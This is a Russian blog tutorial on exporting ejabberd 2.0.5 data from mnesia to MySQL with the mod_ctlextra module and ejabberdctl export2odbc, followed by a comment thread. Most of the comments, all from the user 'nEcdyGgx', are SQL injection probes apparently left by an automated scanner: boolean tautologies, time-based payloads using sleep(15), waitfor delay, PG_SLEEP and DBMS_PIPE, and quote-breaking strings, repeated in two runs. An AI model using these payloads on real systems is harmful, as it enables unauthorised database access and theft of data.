Итак, предыстория: Стояли ejabberd-2.0.5-r3, mysql-5.0.70-r1. Первое что нужно сделать - это установить модуль ejabberd, дающий возможность получить из mnesia таблицы mysql. Называется он mod_ctlextra. Проще всего сделать это установив ejabberd-modules из SVN репазитория Process-One.
  1. svn co https://svn.process-one.net/ejabberd-modules
  2. cd ejabberd-modules/mod_ctlextra/trunk
  3. ./build.sh
  4. cp ebin/*.beam /usr/lib/erlang/lib/ejabberd-2.0.5/ebin
Теперь в конфиге ejabberd (/etc/jabberd/ejabberd.cfg) добавим строчку, благодаря которой сервер подхватит новый модуль. Добавьте эту строчку в секцию Modules, где-нибудь в середине перечня модулей.
{mod_ctlextra, []},
Перезапустим сервер.
  1. /etc/init.d/ejabberd stop
  2. /etc/init.d/ejabberd start
Я намеренно не использовал /etc/init.d/ejabberd restart, потому что команда очень глючная, после команды остановки, сервер не успевает остановиться, в то время как init-скрипт уже пытается его запустить. Это может привести к тому что придётся руками убивать pid-файл и процесс epmd, чего делать по понятным причинам не рекомендуется. Подготовим директории для экспорта.
  1. mkdir /tmp/base
  2. chmod 777 -R /tmp/base
Наконец начнём экспорт.
ejabberdctl export2odbc <домен> /tmp/base
После завершения операции вы увидите примерно следующее.
  1. ls /tmp/base
  2. last.txt
  3. offline.txt
  4. passwd.txt
  5. roster.txt
  6. vcard_search.txt
  7. vcard.txt
Это дампы таблиц MySQL, которые вполне можно загрузить через PHPMyAdmin или mysql < file.txt. Соотношение к структуре MySQL такое (текстовый файл -> таблица):
  1. last.txt -> last
  2. offline.txt -> spool
  3. passwd.txt -> users
  4. roster.txt -> rostetusers
  5. vcard_search.txt -> vcard_search
  6. vcard.txt -> vcard
После того как структура готова, все домены Ejabberd загружены в MySQL, можно настраивать сервер на работу с БД MySQL. Как это сделать, описанно, например здесь. Только мне пришлось сделать ещё такое телодвижение.
  1. cd ejabberd-modules/mysql/trunk
  2. ./build.sh
  3. cp ebin/*.beam /usr/lib/erlang/lib/ejabberd-2.0.5/ebin
Вот и всё :)


nEcdyGgx

nEcdyGgx 13 Augustа в 18:26 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 2+830-830-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 3+830-830-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 3*2>(0+5+830-830) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 2+255-255-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 3+255-255-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 3*2>(0+5+255-255)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 2+883-883-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 3+883-883-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 3*2>(0+5+883-883) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 2+265-265-1=0+0+0+1 or 'BgoeDjf8'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 3+265-265-1=0+0+0+1 or 'BgoeDjf8'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 3*2>(0+5+265-265) or 'BgoeDjf8'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1" OR 2+918-918-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1" OR 3+918-918-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1" OR 3*2>(0+5+918-918) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

VUvCSuxT'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-5 OR 869=(SELECT 869 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-5) OR 943=(SELECT 943 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1)) OR 829=(SELECT 829 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

rGFWghhO' OR 790=(SELECT 790 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

G7uZxW4w') OR 594=(SELECT 594 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

wnagPX5C')) OR 910=(SELECT 910 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:33 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:33 #

@@K5Shr

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1 OR 2+440-440-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1 OR 3+440-440-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1 OR 3*2>(0+5+440-440) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1 OR 2+806-806-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1 OR 3+806-806-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1 OR 3*2>(0+5+806-806)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1' OR 2+862-862-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1' OR 3+862-862-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1' OR 3*2>(0+5+862-862) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1' OR 2+59-59-1=0+0+0+1 or 'MF7IJwtY'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1' OR 3+59-59-1=0+0+0+1 or 'MF7IJwtY'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1' OR 3*2>(0+5+59-59) or 'MF7IJwtY'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1" OR 2+449-449-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1" OR 3+449-449-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1" OR 3*2>(0+5+449-449) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

YUrAw3Oq'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-5 OR 39=(SELECT 39 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-5) OR 206=(SELECT 206 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1)) OR 581=(SELECT 581 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

mtqT74Kr' OR 447=(SELECT 447 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

nQJT7GBS') OR 259=(SELECT 259 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

tAktcEET')) OR 707=(SELECT 707 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

@@Prb8W


Войдите или зарегистрируйтесь, чтобы написать комментарий.